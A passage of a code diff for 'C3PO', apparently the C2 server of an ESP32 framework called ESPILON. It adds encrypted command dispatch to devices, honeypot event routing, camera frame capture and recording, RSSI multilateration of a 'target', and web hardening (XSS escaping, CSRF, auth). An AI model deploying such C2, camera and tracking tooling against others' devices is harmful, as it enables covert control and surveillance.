Display.error(f"Auto system_info failed for {device.id}: {e}")
|
Display.error(f"Auto system_info failed for {device.id}: {e}")
|
||||||
|
|
||||||
@ -146,6 +182,9 @@ class Transport:
|
|||||||
# Check if this is auto system_info response
|
# Check if this is auto system_info response
|
||||||
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
|
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
|
||||||
self._parse_system_info(device, payload_str)
|
self._parse_system_info(device, payload_str)
|
||||||
|
elif msg.request_id and msg.request_id.startswith("hp-") and self.hp_commander:
|
||||||
|
# Route honeypot dashboard command responses
|
||||||
|
self.hp_commander.handle_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||||
elif msg.request_id and self.cli:
|
elif msg.request_id and self.cli:
|
||||||
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||||
else:
|
else:
|
||||||
@ -172,6 +211,9 @@ class Transport:
|
|||||||
elif msg.type == AgentMsgType.AGENT_LOG:
|
elif msg.type == AgentMsgType.AGENT_LOG:
|
||||||
Display.device_event(device.id, f"LOG: {payload_str}")
|
Display.device_event(device.id, f"LOG: {payload_str}")
|
||||||
elif msg.type == AgentMsgType.AGENT_DATA:
|
elif msg.type == AgentMsgType.AGENT_DATA:
|
||||||
|
# Route honeypot events to hp_store
|
||||||
|
if payload_str.startswith("HP|") and self.hp_store:
|
||||||
|
self.hp_store.parse_and_store(device.id, payload_str)
|
||||||
Display.device_event(device.id, f"DATA: {payload_str}")
|
Display.device_event(device.id, f"DATA: {payload_str}")
|
||||||
else:
|
else:
|
||||||
Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}")
|
Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}")
|
||||||
@ -179,21 +221,26 @@ class Transport:
|
|||||||
# ==================================================
|
# ==================================================
|
||||||
# TX (C2 → ESP)
|
# TX (C2 → ESP)
|
||||||
# ==================================================
|
# ==================================================
|
||||||
def send_command(self, sock, cmd: Command):
|
def send_command(self, sock, cmd: Command, device_id: str = None):
|
||||||
"""
|
"""
|
||||||
Command → Protobuf → ChaCha20 → Base64 → \\n
|
Command → Protobuf → ChaCha20-Poly1305 → Base64 → \\n
|
||||||
"""
|
"""
|
||||||
|
target_id = device_id or cmd.device_id
|
||||||
|
crypto = self._get_crypto(target_id)
|
||||||
|
if crypto is None:
|
||||||
|
Display.error(f"Cannot send to '{target_id}' – no key in keystore")
|
||||||
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
proto = cmd.SerializeToString()
|
proto = cmd.SerializeToString()
|
||||||
# Removed verbose transport debug prints
|
|
||||||
|
|
||||||
# Encrypt
|
# Encrypt (AEAD)
|
||||||
cipher = self.crypto.encrypt(proto)
|
encrypted = crypto.encrypt(proto)
|
||||||
|
|
||||||
# Base64
|
# Base64
|
||||||
b64 = self.crypto.b64_encode(cipher)
|
b64 = crypto.b64_encode(encrypted)
|
||||||
|
|
||||||
sock.sendall(b64 + b"\n")
|
sock.sendall(b64 + b"\n")
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
Display.error(f"Failed to send command to {cmd.device_id}: {e}")
|
Display.error(f"Failed to send command to {target_id}: {e}")
|
||||||
21
tools/C3PO/requirements.txt
Normal file
21
tools/C3PO/requirements.txt
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
# Crypto
|
||||||
|
pycryptodome>=3.15.0
|
||||||
|
|
||||||
|
# Protocol Buffers
|
||||||
|
protobuf>=4.21.0
|
||||||
|
|
||||||
|
# Web Server
|
||||||
|
flask>=2.0.0
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
python-dotenv>=1.0.0
|
||||||
|
|
||||||
|
# TUI Interface
|
||||||
|
textual>=0.40.0
|
||||||
|
|
||||||
|
# Camera & Video
|
||||||
|
opencv-python>=4.8.0
|
||||||
|
numpy>=1.24.0
|
||||||
|
|
||||||
|
# MLAT (Multilateration)
|
||||||
|
scipy>=1.10.0
|
||||||
|
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 18 KiB |
@ -168,13 +168,15 @@ class UDPReceiver:
|
|||||||
# IP to device_id mapping cache
|
# IP to device_id mapping cache
|
||||||
self._ip_to_device: Dict[str, str] = {}
|
self._ip_to_device: Dict[str, str] = {}
|
||||||
|
|
||||||
# Statistics
|
# Statistics (protected by _stats_lock)
|
||||||
|
self._stats_lock = threading.Lock()
|
||||||
self.frames_received = 0
|
self.frames_received = 0
|
||||||
self.invalid_tokens = 0
|
self.invalid_tokens = 0
|
||||||
self.decode_errors = 0
|
self.decode_errors = 0
|
||||||
self.packets_received = 0
|
self.packets_received = 0
|
||||||
|
|
||||||
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}}
|
# Active cameras tracking (protected by _cameras_lock)
|
||||||
|
self._cameras_lock = threading.Lock()
|
||||||
self._active_cameras: Dict[str, dict] = {}
|
self._active_cameras: Dict[str, dict] = {}
|
||||||
|
|
||||||
os.makedirs(self.image_dir, exist_ok=True)
|
os.makedirs(self.image_dir, exist_ok=True)
|
||||||
@ -191,7 +193,8 @@ class UDPReceiver:
|
|||||||
@property
|
@property
|
||||||
def active_cameras(self) -> list:
|
def active_cameras(self) -> list:
|
||||||
"""Returns list of active camera device IDs."""
|
"""Returns list of active camera device IDs."""
|
||||||
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
with self._cameras_lock:
|
||||||
|
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
||||||
|
|
||||||
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
|
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
|
||||||
"""Look up device_id from IP address using device registry."""
|
"""Look up device_id from IP address using device registry."""
|
||||||
@ -305,10 +308,12 @@ class UDPReceiver:
|
|||||||
except OSError:
|
except OSError:
|
||||||
break
|
break
|
||||||
|
|
||||||
self.packets_received += 1
|
with self._stats_lock:
|
||||||
|
self.packets_received += 1
|
||||||
|
|
||||||
if not data.startswith(SECRET_TOKEN):
|
if not data.startswith(SECRET_TOKEN):
|
||||||
self.invalid_tokens += 1
|
with self._stats_lock:
|
||||||
|
self.invalid_tokens += 1
|
||||||
continue
|
continue
|
||||||
|
|
||||||
payload = data[len(SECRET_TOKEN):]
|
payload = data[len(SECRET_TOKEN):]
|
||||||
@ -335,7 +340,8 @@ class UDPReceiver:
|
|||||||
if frame is not None:
|
if frame is not None:
|
||||||
self._process_frame(device_id, frame, addr)
|
self._process_frame(device_id, frame, addr)
|
||||||
else:
|
else:
|
||||||
self.decode_errors += 1
|
with self._stats_lock:
|
||||||
|
self.decode_errors += 1
|
||||||
else:
|
else:
|
||||||
assembler.add_chunk(payload)
|
assembler.add_chunk(payload)
|
||||||
|
|
||||||
@ -348,19 +354,22 @@ class UDPReceiver:
|
|||||||
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
|
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
|
||||||
frame = self._decode_frame(frame_data)
|
frame = self._decode_frame(frame_data)
|
||||||
if frame is None:
|
if frame is None:
|
||||||
self.decode_errors += 1
|
with self._stats_lock:
|
||||||
|
self.decode_errors += 1
|
||||||
return
|
return
|
||||||
self._process_frame(camera_id, frame, addr)
|
self._process_frame(camera_id, frame, addr)
|
||||||
|
|
||||||
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
|
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
|
||||||
self.frames_received += 1
|
with self._stats_lock:
|
||||||
|
self.frames_received += 1
|
||||||
|
|
||||||
# Update camera tracking
|
# Update camera tracking
|
||||||
self._active_cameras[camera_id] = {
|
with self._cameras_lock:
|
||||||
"last_frame": time.time(),
|
self._active_cameras[camera_id] = {
|
||||||
"active": True,
|
"last_frame": time.time(),
|
||||||
"addr": addr
|
"active": True,
|
||||||
}
|
"addr": addr
|
||||||
|
}
|
||||||
|
|
||||||
# Save frame
|
# Save frame
|
||||||
self._save_frame(camera_id, frame)
|
self._save_frame(camera_id, frame)
|
||||||
@ -456,13 +465,15 @@ class UDPReceiver:
|
|||||||
|
|
||||||
def get_stats(self) -> dict:
|
def get_stats(self) -> dict:
|
||||||
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
|
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
|
||||||
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
with self._cameras_lock:
|
||||||
return {
|
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
||||||
"running": self.is_running,
|
with self._stats_lock:
|
||||||
"packets_received": self.packets_received,
|
return {
|
||||||
"frames_received": self.frames_received,
|
"running": self.is_running,
|
||||||
"invalid_tokens": self.invalid_tokens,
|
"packets_received": self.packets_received,
|
||||||
"decode_errors": self.decode_errors,
|
"frames_received": self.frames_received,
|
||||||
"active_cameras": active_count,
|
"invalid_tokens": self.invalid_tokens,
|
||||||
"active_recordings": recording_count
|
"decode_errors": self.decode_errors,
|
||||||
}
|
"active_cameras": active_count,
|
||||||
|
"active_recordings": recording_count
|
||||||
|
}
|
||||||
@ -20,6 +20,9 @@
|
|||||||
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
|
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
|
||||||
MLAT
|
MLAT
|
||||||
</a>
|
</a>
|
||||||
|
<a href="/honeypot" class="nav-link {% if active_page == 'honeypot' %}active{% endif %}">
|
||||||
|
Honeypot
|
||||||
|
</a>
|
||||||
</nav>
|
</nav>
|
||||||
<div class="header-right">
|
<div class="header-right">
|
||||||
<div class="status">
|
<div class="status">
|
||||||
@ -93,20 +93,30 @@
|
|||||||
return hours + 'h ' + mins + 'm';
|
return hours + 'h ' + mins + 'm';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function escapeHtml(str) {
|
||||||
|
const div = document.createElement('div');
|
||||||
|
div.appendChild(document.createTextNode(str));
|
||||||
|
return div.innerHTML;
|
||||||
|
}
|
||||||
|
|
||||||
function createDeviceCard(device) {
|
function createDeviceCard(device) {
|
||||||
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
|
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
|
||||||
|
const safeId = escapeHtml(String(device.id));
|
||||||
|
const safeStatus = escapeHtml(String(device.status));
|
||||||
|
const safeIp = escapeHtml(String(device.ip));
|
||||||
|
const safePort = escapeHtml(String(device.port));
|
||||||
|
|
||||||
return `
|
return `
|
||||||
<div class="card" data-device-id="${device.id}">
|
<div class="card" data-device-id="${safeId}">
|
||||||
<div class="card-header">
|
<div class="card-header">
|
||||||
<span class="name">${device.id}</span>
|
<span class="name">${safeId}</span>
|
||||||
<span class="badge ${statusClass}">${device.status}</span>
|
<span class="badge ${statusClass}">${safeStatus}</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="card-body">
|
<div class="card-body">
|
||||||
<div class="device-info">
|
<div class="device-info">
|
||||||
<div class="device-row">
|
<div class="device-row">
|
||||||
<span class="label">IP Address</span>
|
<span class="label">IP Address</span>
|
||||||
<span class="value">${device.ip}:${device.port}</span>
|
<span class="value">${safeIp}:${safePort}</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="device-row">
|
<div class="device-row">
|
||||||
<span class="label">Connected</span>
|
<span class="label">Connected</span>
|
||||||
@ -15,6 +15,7 @@
|
|||||||
{% endif %}
|
{% endif %}
|
||||||
|
|
||||||
<form method="post">
|
<form method="post">
|
||||||
|
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<label for="username">Username</label>
|
<label for="username">Username</label>
|
||||||
<input type="text" id="username" name="username" required autofocus>
|
<input type="text" id="username" name="username" required autofocus>
|
||||||
46
tools/C3PO/web/auth.py
Normal file
46
tools/C3PO/web/auth.py
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
"""Authentication decorators for Flask routes."""
|
||||||
|
|
||||||
|
import hmac
|
||||||
|
from functools import wraps
|
||||||
|
from flask import session, redirect, url_for, request, jsonify
|
||||||
|
|
||||||
|
|
||||||
|
def create_auth_decorators(get_multilat_token):
|
||||||
|
"""
|
||||||
|
Create auth decorators with access to server config.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
get_multilat_token: Callable that returns the MLAT API token
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (require_login, require_api_auth) decorators
|
||||||
|
"""
|
||||||
|
|
||||||
|
def require_login(f):
|
||||||
|
"""Decorator requiring user to be logged in via session."""
|
||||||
|
@wraps(f)
|
||||||
|
def decorated(*args, **kwargs):
|
||||||
|
if not session.get("logged_in"):
|
||||||
|
return redirect(url_for("pages.login"))
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
return decorated
|
||||||
|
|
||||||
|
def require_api_auth(f):
|
||||||
|
"""Decorator requiring session login OR Bearer token."""
|
||||||
|
@wraps(f)
|
||||||
|
def decorated(*args, **kwargs):
|
||||||
|
# Session auth
|
||||||
|
if session.get("logged_in"):
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
|
||||||
|
# Bearer token auth
|
||||||
|
auth_header = request.headers.get("Authorization", "")
|
||||||
|
if auth_header.startswith("Bearer "):
|
||||||
|
token = auth_header[7:]
|
||||||
|
if hmac.compare_digest(token, get_multilat_token()):
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
|
||||||
|
return jsonify({"error": "Unauthorized"}), 401
|
||||||
|
return decorated
|
||||||
|
|
||||||
|
return require_login, require_api_auth
|
||||||
@ -1,5 +1,6 @@
|
|||||||
"""MLAT (Multilateration) engine for device positioning with GPS support."""
|
"""MLAT (Multilateration) engine for device positioning with GPS support."""
|
||||||
|
|
||||||
|
import threading
|
||||||
import time
|
import time
|
||||||
import re
|
import re
|
||||||
import math
|
import math
|
||||||
@ -36,6 +37,9 @@ class MlatEngine:
|
|||||||
self.path_loss_n = path_loss_n
|
self.path_loss_n = path_loss_n
|
||||||
self.smoothing_window = smoothing_window
|
self.smoothing_window = smoothing_window
|
||||||
|
|
||||||
|
# Thread safety lock
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
|
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
|
||||||
self.scanners: dict = {}
|
self.scanners: dict = {}
|
||||||
|
|
||||||
@ -180,23 +184,24 @@ class MlatEngine:
|
|||||||
if timestamp is None:
|
if timestamp is None:
|
||||||
timestamp = time.time()
|
timestamp = time.time()
|
||||||
|
|
||||||
if scanner_id not in self.scanners:
|
with self._lock:
|
||||||
self.scanners[scanner_id] = {
|
if scanner_id not in self.scanners:
|
||||||
"position": {"lat": lat, "lon": lon},
|
self.scanners[scanner_id] = {
|
||||||
"rssi_history": [],
|
"position": {"lat": lat, "lon": lon},
|
||||||
"last_seen": timestamp
|
"rssi_history": [],
|
||||||
}
|
"last_seen": timestamp
|
||||||
|
}
|
||||||
|
|
||||||
scanner = self.scanners[scanner_id]
|
scanner = self.scanners[scanner_id]
|
||||||
scanner["position"] = {"lat": lat, "lon": lon}
|
scanner["position"] = {"lat": lat, "lon": lon}
|
||||||
scanner["rssi_history"].append(rssi)
|
scanner["rssi_history"].append(rssi)
|
||||||
scanner["last_seen"] = timestamp
|
scanner["last_seen"] = timestamp
|
||||||
|
|
||||||
# Keep only recent readings for smoothing
|
# Keep only recent readings for smoothing
|
||||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||||
|
|
||||||
self._coord_mode = 'gps'
|
self._coord_mode = 'gps'
|
||||||
|
|
||||||
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
|
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
|
||||||
"""
|
"""
|
||||||
@ -212,22 +217,23 @@ class MlatEngine:
|
|||||||
if timestamp is None:
|
if timestamp is None:
|
||||||
timestamp = time.time()
|
timestamp = time.time()
|
||||||
|
|
||||||
if scanner_id not in self.scanners:
|
with self._lock:
|
||||||
self.scanners[scanner_id] = {
|
if scanner_id not in self.scanners:
|
||||||
"position": {"x": x, "y": y},
|
self.scanners[scanner_id] = {
|
||||||
"rssi_history": [],
|
"position": {"x": x, "y": y},
|
||||||
"last_seen": timestamp
|
"rssi_history": [],
|
||||||
}
|
"last_seen": timestamp
|
||||||
|
}
|
||||||
|
|
||||||
scanner = self.scanners[scanner_id]
|
scanner = self.scanners[scanner_id]
|
||||||
scanner["position"] = {"x": x, "y": y}
|
scanner["position"] = {"x": x, "y": y}
|
||||||
scanner["rssi_history"].append(rssi)
|
scanner["rssi_history"].append(rssi)
|
||||||
scanner["last_seen"] = timestamp
|
scanner["last_seen"] = timestamp
|
||||||
|
|
||||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||||
|
|
||||||
self._coord_mode = 'local'
|
self._coord_mode = 'local'
|
||||||
|
|
||||||
def rssi_to_distance(self, rssi: float) -> float:
|
def rssi_to_distance(self, rssi: float) -> float:
|
||||||
"""
|
"""
|
||||||
@ -253,11 +259,17 @@ class MlatEngine:
|
|||||||
Returns:
|
Returns:
|
||||||
dict with position, confidence, and scanner info, or error
|
dict with position, confidence, and scanner info, or error
|
||||||
"""
|
"""
|
||||||
# Get active scanners (those with readings)
|
# Snapshot scanner data under lock
|
||||||
active_scanners = [
|
with self._lock:
|
||||||
(sid, s) for sid, s in self.scanners.items()
|
active_scanners = [
|
||||||
if s["rssi_history"]
|
(sid, {
|
||||||
]
|
"position": dict(s["position"]),
|
||||||
|
"rssi_history": list(s["rssi_history"]),
|
||||||
|
"last_seen": s["last_seen"]
|
||||||
|
})
|
||||||
|
for sid, s in self.scanners.items()
|
||||||
|
if s["rssi_history"]
|
||||||
|
]
|
||||||
|
|
||||||
if len(active_scanners) < 3:
|
if len(active_scanners) < 3:
|
||||||
return {
|
return {
|
||||||
@ -342,7 +354,8 @@ class MlatEngine:
|
|||||||
"y": round(float(target_y), 2)
|
"y": round(float(target_y), 2)
|
||||||
}
|
}
|
||||||
|
|
||||||
self._last_calculation = time.time()
|
with self._lock:
|
||||||
|
self._last_calculation = time.time()
|
||||||
|
|
||||||
return {
|
return {
|
||||||
"position": self._last_target,
|
"position": self._last_target,
|
||||||
@ -366,7 +379,13 @@ class MlatEngine:
|
|||||||
now = time.time()
|
now = time.time()
|
||||||
scanners_data = []
|
scanners_data = []
|
||||||
|
|
||||||
for scanner_id, scanner in self.scanners.items():
|
with self._lock:
|
||||||
|
scanners_snapshot = dict(self.scanners)
|
||||||
|
last_target = self._last_target
|
||||||
|
last_calc = self._last_calculation
|
||||||
|
coord_mode = self._coord_mode
|
||||||
|
|
||||||
|
for scanner_id, scanner in scanners_snapshot.items():
|
||||||
avg_rssi = None
|
avg_rssi = None
|
||||||
distance = None
|
distance = None
|
||||||
|
|
||||||
@ -393,15 +412,15 @@ class MlatEngine:
|
|||||||
"path_loss_n": self.path_loss_n,
|
"path_loss_n": self.path_loss_n,
|
||||||
"smoothing_window": self.smoothing_window
|
"smoothing_window": self.smoothing_window
|
||||||
},
|
},
|
||||||
"coord_mode": self._coord_mode
|
"coord_mode": coord_mode
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add target if available
|
# Add target if available
|
||||||
if self._last_target and (now - self._last_calculation) < 60:
|
if last_target and (now - last_calc) < 60:
|
||||||
result["target"] = {
|
result["target"] = {
|
||||||
"position": self._last_target,
|
"position": last_target,
|
||||||
"calculated_at": self._last_calculation,
|
"calculated_at": last_calc,
|
||||||
"age_seconds": round(now - self._last_calculation, 1)
|
"age_seconds": round(now - last_calc, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
return result
|
return result
|
||||||
@ -424,6 +443,7 @@ class MlatEngine:
|
|||||||
|
|
||||||
def clear(self):
|
def clear(self):
|
||||||
"""Clear all scanner data and reset state."""
|
"""Clear all scanner data and reset state."""
|
||||||
self.scanners.clear()
|
with self._lock:
|
||||||
self._last_target = None
|
self.scanners.clear()
|
||||||
self._last_calculation = 0
|
self._last_target = None
|
||||||
|
self._last_calculation = 0
|
||||||
15
tools/C3PO/web/routes/__init__.py
Normal file
15
tools/C3PO/web/routes/__init__.py
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
"""Flask route blueprints for ESPILON C2 web server."""
|
||||||
|
|
||||||
|
from .pages import create_pages_blueprint
|
||||||
|
from .api_devices import create_devices_blueprint
|
||||||
|
from .api_cameras import create_cameras_blueprint
|
||||||
|
from .api_mlat import create_mlat_blueprint
|
||||||
|
from .api_stats import create_stats_blueprint
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"create_pages_blueprint",
|
||||||
|
"create_devices_blueprint",
|
||||||
|
"create_cameras_blueprint",
|
||||||
|
"create_mlat_blueprint",
|
||||||
|
"create_stats_blueprint",
|
||||||
|
]
|
||||||
99
tools/C3PO/web/routes/api_cameras.py
Normal file
99
tools/C3PO/web/routes/api_cameras.py
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
"""Camera and Recording API routes."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
from flask import Blueprint, jsonify, request
|
||||||
|
|
||||||
|
|
||||||
|
def create_cameras_blueprint(server_config):
|
||||||
|
"""
|
||||||
|
Create the cameras API blueprint.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
server_config: Dict with keys:
|
||||||
|
- image_dir: Camera images directory
|
||||||
|
- c2_root: C2 root directory path
|
||||||
|
- get_camera_receiver: Callable returning camera receiver
|
||||||
|
- require_api_auth: Auth decorator
|
||||||
|
"""
|
||||||
|
bp = Blueprint("api_cameras", __name__, url_prefix="/api")
|
||||||
|
|
||||||
|
image_dir = server_config["image_dir"]
|
||||||
|
c2_root = server_config["c2_root"]
|
||||||
|
get_receiver = server_config["get_camera_receiver"]
|
||||||
|
require_api_auth = server_config["require_api_auth"]
|
||||||
|
|
||||||
|
# ========== Camera List ==========
|
||||||
|
|
||||||
|
@bp.route("/cameras")
|
||||||
|
@require_api_auth
|
||||||
|
def list_cameras():
|
||||||
|
full_image_dir = os.path.join(c2_root, image_dir)
|
||||||
|
try:
|
||||||
|
cameras = [
|
||||||
|
f.replace(".jpg", "")
|
||||||
|
for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
]
|
||||||
|
except FileNotFoundError:
|
||||||
|
cameras = []
|
||||||
|
|
||||||
|
receiver = get_receiver()
|
||||||
|
result = {"cameras": [], "count": len(cameras)}
|
||||||
|
|
||||||
|
for cam_id in cameras:
|
||||||
|
cam_info = {"id": cam_id, "recording": False}
|
||||||
|
if receiver:
|
||||||
|
status = receiver.get_recording_status(cam_id)
|
||||||
|
cam_info["recording"] = status.get("recording", False)
|
||||||
|
cam_info["filename"] = status.get("filename")
|
||||||
|
result["cameras"].append(cam_info)
|
||||||
|
|
||||||
|
result["count"] = len(result["cameras"])
|
||||||
|
return jsonify(result)
|
||||||
|
|
||||||
|
# ========== Recording Control ==========
|
||||||
|
|
||||||
|
@bp.route("/recording/start/<camera_id>", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def start_recording(camera_id):
|
||||||
|
receiver = get_receiver()
|
||||||
|
if not receiver:
|
||||||
|
return jsonify({"error": "Camera receiver not available"}), 503
|
||||||
|
|
||||||
|
result = receiver.start_recording(camera_id)
|
||||||
|
if "error" in result:
|
||||||
|
return jsonify(result), 400
|
||||||
|
return jsonify(result)
|
||||||
|
|
||||||
|
@bp.route("/recording/stop/<camera_id>", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def stop_recording(camera_id):
|
||||||
|
receiver = get_receiver()
|
||||||
|
if not receiver:
|
||||||
|
return jsonify({"error": "Camera receiver not available"}), 503
|
||||||
|
|
||||||
|
result = receiver.stop_recording(camera_id)
|
||||||
|
if "error" in result:
|
||||||
|
return jsonify(result), 400
|
||||||
|
return jsonify(result)
|
||||||
|
|
||||||
|
@bp.route("/recording/status")
|
||||||
|
@require_api_auth
|
||||||
|
def recording_status():
|
||||||
|
receiver = get_receiver()
|
||||||
|
if not receiver:
|
||||||
|
return jsonify({"error": "Camera receiver not available"}), 503
|
||||||
|
|
||||||
|
camera_id = request.args.get("camera_id")
|
||||||
|
return jsonify(receiver.get_recording_status(camera_id))
|
||||||
|
|
||||||
|
@bp.route("/recordings")
|
||||||
|
@require_api_auth
|
||||||
|
def list_recordings():
|
||||||
|
receiver = get_receiver()
|
||||||
|
if not receiver:
|
||||||
|
return jsonify({"recordings": []})
|
||||||
|
|
||||||
|
return jsonify({"recordings": receiver.list_recordings()})
|
||||||
|
|
||||||
|
return bp
|
||||||
48
tools/C3PO/web/routes/api_devices.py
Normal file
48
tools/C3PO/web/routes/api_devices.py
Normal file
@ -0,0 +1,48 @@
|
|||||||
|
"""Device API routes."""
|
||||||
|
|
||||||
|
import time
|
||||||
|
from flask import Blueprint, jsonify
|
||||||
|
|
||||||
|
|
||||||
|
def create_devices_blueprint(server_config):
|
||||||
|
"""
|
||||||
|
Create the devices API blueprint.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
server_config: Dict with keys:
|
||||||
|
- get_device_registry: Callable returning device registry
|
||||||
|
- require_api_auth: Auth decorator
|
||||||
|
"""
|
||||||
|
bp = Blueprint("api_devices", __name__, url_prefix="/api")
|
||||||
|
|
||||||
|
get_registry = server_config["get_device_registry"]
|
||||||
|
require_api_auth = server_config["require_api_auth"]
|
||||||
|
|
||||||
|
@bp.route("/devices")
|
||||||
|
@require_api_auth
|
||||||
|
def list_devices():
|
||||||
|
registry = get_registry()
|
||||||
|
if registry is None:
|
||||||
|
return jsonify({"error": "Device registry not available", "devices": []})
|
||||||
|
|
||||||
|
now = time.time()
|
||||||
|
devices = []
|
||||||
|
|
||||||
|
for d in registry.all():
|
||||||
|
devices.append({
|
||||||
|
"id": d.id,
|
||||||
|
"ip": d.address[0] if d.address else "unknown",
|
||||||
|
"port": d.address[1] if d.address else 0,
|
||||||
|
"status": d.status,
|
||||||
|
"connected_at": d.connected_at,
|
||||||
|
"last_seen": d.last_seen,
|
||||||
|
"connected_for_seconds": round(now - d.connected_at, 1),
|
||||||
|
"last_seen_ago_seconds": round(now - d.last_seen, 1)
|
||||||
|
})
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"devices": devices,
|
||||||
|
"count": len(devices)
|
||||||
|
})
|
||||||
|
|
||||||
|
return bp
|
||||||
85
tools/C3PO/web/routes/api_mlat.py
Normal file
85
tools/C3PO/web/routes/api_mlat.py
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
"""MLAT (Multilateration) API routes."""
|
||||||
|
|
||||||
|
import time
|
||||||
|
from flask import Blueprint, jsonify, request
|
||||||
|
|
||||||
|
|
||||||
|
def create_mlat_blueprint(server_config):
|
||||||
|
"""
|
||||||
|
Create the MLAT API blueprint.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
server_config: Dict with keys:
|
||||||
|
- get_mlat_engine: Callable returning MLAT engine
|
||||||
|
- require_api_auth: Auth decorator
|
||||||
|
"""
|
||||||
|
bp = Blueprint("api_mlat", __name__, url_prefix="/api/mlat")
|
||||||
|
|
||||||
|
get_engine = server_config["get_mlat_engine"]
|
||||||
|
require_api_auth = server_config["require_api_auth"]
|
||||||
|
|
||||||
|
@bp.route("/collect", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def collect():
|
||||||
|
"""Receive MLAT readings from scanners."""
|
||||||
|
engine = get_engine()
|
||||||
|
raw_data = request.get_data(as_text=True)
|
||||||
|
count = engine.parse_data(raw_data)
|
||||||
|
|
||||||
|
if count > 0:
|
||||||
|
engine.calculate_position()
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"status": "ok",
|
||||||
|
"readings_processed": count
|
||||||
|
})
|
||||||
|
|
||||||
|
@bp.route("/state")
|
||||||
|
@require_api_auth
|
||||||
|
def state():
|
||||||
|
"""Get current MLAT state (scanners + target position)."""
|
||||||
|
engine = get_engine()
|
||||||
|
state = engine.get_state()
|
||||||
|
|
||||||
|
# Auto-calculate if we have enough scanners but no target
|
||||||
|
if state["target"] is None and state["scanners_count"] >= 3:
|
||||||
|
result = engine.calculate_position()
|
||||||
|
if "position" in result:
|
||||||
|
state["target"] = {
|
||||||
|
"position": result["position"],
|
||||||
|
"confidence": result.get("confidence", 0),
|
||||||
|
"calculated_at": result.get("calculated_at", time.time()),
|
||||||
|
"age_seconds": 0
|
||||||
|
}
|
||||||
|
|
||||||
|
return jsonify(state)
|
||||||
|
|
||||||
|
@bp.route("/config", methods=["GET", "POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def config():
|
||||||
|
"""Get or update MLAT configuration."""
|
||||||
|
engine = get_engine()
|
||||||
|
|
||||||
|
if request.method == "POST":
|
||||||
|
data = request.get_json() or {}
|
||||||
|
engine.update_config(
|
||||||
|
rssi_at_1m=data.get("rssi_at_1m"),
|
||||||
|
path_loss_n=data.get("path_loss_n"),
|
||||||
|
smoothing_window=data.get("smoothing_window")
|
||||||
|
)
|
